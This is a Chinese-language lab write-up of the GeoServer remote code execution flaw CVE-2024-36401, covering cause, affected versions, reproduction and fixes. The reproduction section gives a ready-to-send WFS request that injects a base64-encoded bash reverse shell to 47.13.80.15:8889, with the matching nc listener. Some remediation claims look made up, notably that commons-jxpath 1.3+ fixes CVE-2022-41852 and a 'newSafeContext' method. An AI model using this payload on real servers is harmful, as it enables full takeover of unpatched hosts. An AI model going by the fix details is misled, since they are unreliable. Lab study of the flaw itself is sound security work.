春秋云镜-GeoServer 前台代码执行漏洞(CVE-2024-36401)

  1. 一、概述
  2. 二、分析
  3. 三、复现
  4. 四、修复
    1. ​​1. 修复版本​​
    2. ​2. 修复原理​​
    3. 3. 总结

一、概述

CVE-2024-36401 是 ​​GeoServer​​ 中存在的高危远程代码执行(RCE)漏洞,由 ​​GeoTools 库​​ 在处理 WFS(Web Feature Service)请求时对 valueReference 参数未正确过滤引发。攻击者可通过构造恶意 XPath 表达式,利用 java.lang.Runtime.getRuntime() 执行任意系统命令,进而完全控制目标服务器

  • ​影响版本​​:
    • GeoServer < 2.23.6
    • 2.24.0 ≤ GeoServer < 2.24.4
    • 2.25.0 ≤ GeoServer < 2.25.2
  • ​漏洞根源​​:GeoTools 库将属性名称传递给 ​​Apache Commons JXPath​​ 库时未安全处理,导致 XPath 表达式注入

二、分析

(1)技术原理​

  • ​触发路径​​:通过 WFS 请求的 valueReference 参数注入恶意代码。
  • ​依赖组件​​:commons-jxpath 库(存在 CVE-2022-41852 漏洞)的不安全解析
    ​(2)攻击特征​
  • ​请求方式​​:支持 GET 和 POST 请求,常见于 /geoserver/wfs 接口
  • ​利用条件​​:typeNames 必须为有效图层名称(如 sf:archsites),可从 GeoServer 管理界面获取

三、复现

(1)、攻击机监听
nc -lvvp 8889

(2)、发送数据包

POST /geoserver/wfs HTTP/1.1
Host: <target>:8080
Content-Type: application/xml
Content-Length: 342

<wfs:GetPropertyValue service="WFS" version="2.0.0" xmlns:wfs="http://www.opengis.net/wfs/2.0">
  <wfs:Query typeNames="sf:archsites"/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMy44MC4xNS84ODg5IDA+JjE=}|{base64,-d}|{bash,-i}")</wfs:valueReference>
</wfs:GetPropertyValue>

bash -i >& /dev/tcp/47.13.80.15/8889 0>&1

四、修复

​​1. 修复版本​​

GeoServer 官方通过升级 ​​GeoTools 库​​ 修复漏洞,安全版本如下:

  • ​GeoServer 2.23.6​​(稳定分支)
  • ​GeoServer 2.24.4​​(稳定分支)
  • ​GeoServer 2.25.2​​(开发分支)
​2. 修复原理​​

​根本原因​​:
漏洞源于 GeoTools 库(gt-complex 模块)在处理 WFS 请求时,直接将用户控制的 valueReference 参数传递给 commons-jxpath 库解析,导致 XPath 表达式注入。

​修复方式​​:

  1. ​安全过滤​​:
    • 在 org.geotools.filter.text.cql2.CQL.toExpression() 方法中,新增对 valueReference 的输入验证,禁止包含 java.lang 等危险关键字。
    • 使用 JXPathUtils.newSafeContext() 替代原始解析方法,限制 XPath 表达式的反射能力。
  2. ​依赖升级​​:
    • 升级 commons-jxpath 到 ​​1.3+​​ 版本(修复 CVE-2022-41852),默认禁用反射调用。
  3. ​补丁提交​​:
    • 修复代码已合并至 GeoTools 主分支(GitHub Commit)。
3. 总结

官方通过 ​​输入验证​​ + ​​依赖库升级​​ 双重修复漏洞,建议用户立即升级至安全版本。若无法升级,可通过删除依赖文件或配置 WAF 临时防护。


梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。